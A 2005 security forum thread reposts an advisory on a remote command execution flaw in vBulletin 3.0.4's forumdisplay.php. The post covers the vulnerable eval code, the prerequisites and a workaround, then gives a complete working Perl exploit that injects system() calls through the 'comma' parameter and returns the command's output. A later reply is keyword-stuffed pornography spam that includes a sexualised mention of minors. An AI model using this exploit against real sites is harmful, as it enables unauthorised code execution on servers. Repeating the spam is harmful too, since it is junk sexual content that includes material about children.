Forum Index

It appears you have not yet registered with our community which limits what you can do & see. It's Free To register, please click here.





Security Alerts and vulnerabilities Lets keep abreast on the latest threats by posting those findings here..

Reply
 
Thread Tools Display Modes
  #1  
Old 02-19-2005, 10:32 PM
Mobo's Avatar
Mobo Mobo is offline
Thinking outside the box
 
Join Date: Sep 2004
Location: Cape Breton
Posts: 4,587
Send a message via ICQ to Mobo Send a message via AIM to Mobo Send a message via MSN to Mobo Send a message via Yahoo to Mobo Send a message via Skype™ to Mobo
vBulletin is "a powerful and widely used bulletin board system, based on PHP language and MySQL database".

A vulnerability in vBulletin's forumdisplay.php allows a remote attacker to cause the PHP script to execute arbitrary code via the 'comma' variable.

Vulnerable Systems:
* vBulletin version 3.0.4 and prior

Immune Systems:
* vBulletin version 3.0.5 or newer

Vulnerable code in forumdisplay.php:
if ($vboptions['showforumusers'])
{
.
.
.
.

if ($bbuserinfo['userid'])
{
...
$comma = ', ';
}
...
while ($loggedin = $DB_site->fetch_array($forumusers))
{
...
eval('$activeusers .= "' . $comma .
fetch_template('forumdisplay_loggedinuser') . '";'); <<==== (Vuln)
$comma = ', ';
...
}
...
}

Prequsites:
* $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vBulletin options
* $bbuserinfo['userid'] == 0 , you must be an visitor/guest
* $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum
* magic_quotes_gpc must be OFF
* You must bypass unset($GLOBALS["$_arrykey"]) code in init.php by using: GLOBALS[]=1

Workaround:
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers']) $comma = '';

Exploit:
#!/usr/bin/perl
# vbulletin 3.0.4 remote command execution by pokleyzz <pokleyzz_at_scan-associates.net>
#
# Requirement:
# showforumusers ON
#
#
# bug found by AL3NDALEEB <al3ndaleeb_at_uk2.net>
#
# usage :
# vbulletin30-xp.pl <forumdisplay.php url> <forum id> <command>
#
# example :
# vbulletin30-xp.pl http://192.168.1.78/forumdisplay.php 1 "ls -la"
#
# !! Happy Chinese new Year !!

use IO::Socket;

sub parse_url {
local($url) = @_;

if ($url =~ m#^(\w+):#) {
$protocol = $1;
$protocol =~ tr/A-Z/a-z/;
} else {
return undef;
}

if ($protocol eq "http") {
if ($url =~ m#^\s*\w+://([\w-\.]+):?(\d*)([^ \t]*)$#) {
$server = $1;
$server =~ tr/A-Z/a-z/;
$port = ($2 ne "" ? $2 : $http_port);
$path = ( $3 ? $3 : '/');
return ($protocol, $server, $port, $path);
}
return undef;
}
}

sub urlencode{
my($esc) = @_;
$esc =~ s/^\s+|\s+$//gs;
$esc =~ s/([^a-zA-Z0-9_\-.])/uc sprintf("%%%02x",ord($1))/eg;
$esc =~ s/ /\+/g;
$esc =~ s/%20/\+/g;
return $esc;
}

$url = $ARGV[0];
$fid = $ARGV[1];
$cmd = urlencode($ARGV[2]);

$http_port = 80;

$shellcode ="GLOBALS[]=1&f=$fid&cmd=$cmd&comma={\${system(\$cmd)}}{\${ex it()}}";

@target = parse_url($url);

$conn = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $target[1],
PeerPort => $target[2],
) or die "\nUnable to connect\n";

$conn -> autoflush(1);
print $conn "GET $target[3]?$shellcode HTTP/1.1\r\nHost: $target[1]:$target[2]\r\nConnection: Close\r\n\r\n";
while (<$conn>){
print $_;
}
close $conn;
Reply With Quote
Posted


  #2  
Old 03-04-2008, 08:24 PM
koplionstartpohis koplionstartpohis is offline
Junior Member
 
Join Date: Mar 2008
Posts: 1
Post free **** gallery web site free indian **** vids


real couple having *** for ***y guy *** offinders online and *** movies **** cherri henderson nicole parker ***y pics wisconsin *** oenders *** shop indianapolis hot ***y beyonce pictu passionate *** afain ***ycowgirl louisiana *** toy store ***y alcohol swimsuits housewives *** ****star dragon lily ****ed history and homo***ual **** pics of jenna jameson big black **** *** geriatric *** man **** college *** patrol *** offenders minnesota hairy ***y man purto rican **** **** movies asia argento *** clips personal***sites
angry **** ***y rachel mcadams super *** games house wife **** **** of black men girl let me *** you ****starsxtra drunk *** ***y chat cartoon one piece **** wild and ***y skinny girls ****o irish **** *** suits moms *** stories naked non **** girls candis vonebony **** s ****o vids *** with a younger man female ***ual health riley brooks **** suit gay *** free fat hardcore *** movie virginia***offendersregistr free gay ****ography ***yfemalesucking**** indianapolis preteen *** machine *** videos paris hiton *** video *** morally depraved xnxx**** vna of sus*** county n crunkand***xi pictures of naked ***y girls ***y pictures of back and white totally free **** gallery
Reply With Quote
Reply

  • Submit Thread to Digg Digg
  • Submit Thread to del.icio.us del.icio.us
  • Submit Thread to StumbleUpon StumbleUpon
  • Submit Thread to Google Google
  • Bookmarks

    Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
     
    Thread Tools
    Display Modes

    Posting Rules
    You may not post new threads
    You may not post replies
    You may not post attachments
    You may not edit your posts

    BB code is On
    Smilies are On
    [IMG] code is On
    HTML code is Off
    Forum Jump

    Similar Threads
    Thread Thread Starter Forum Replies Last Post
    Command Antivirus Updates LJM Master Software Update Alerts 14 09-07-2005 01:58 PM
    Command Av Updates LJM Master Software Update Alerts 14 08-10-2005 02:40 PM
    Command AntiVirus update for 03/21/2005 LJM Master Software Update Alerts 10 04-03-2005 11:24 AM
    command lines list 700mb80min The coffee shop 0 02-11-2005 08:49 AM
    Interesting bug I'm fighting here... rathnid Spyware / Virus Removal 18 01-10-2005 01:00 PM



    All times are GMT -5. The time now is 03:05 PM.


    Firefox 2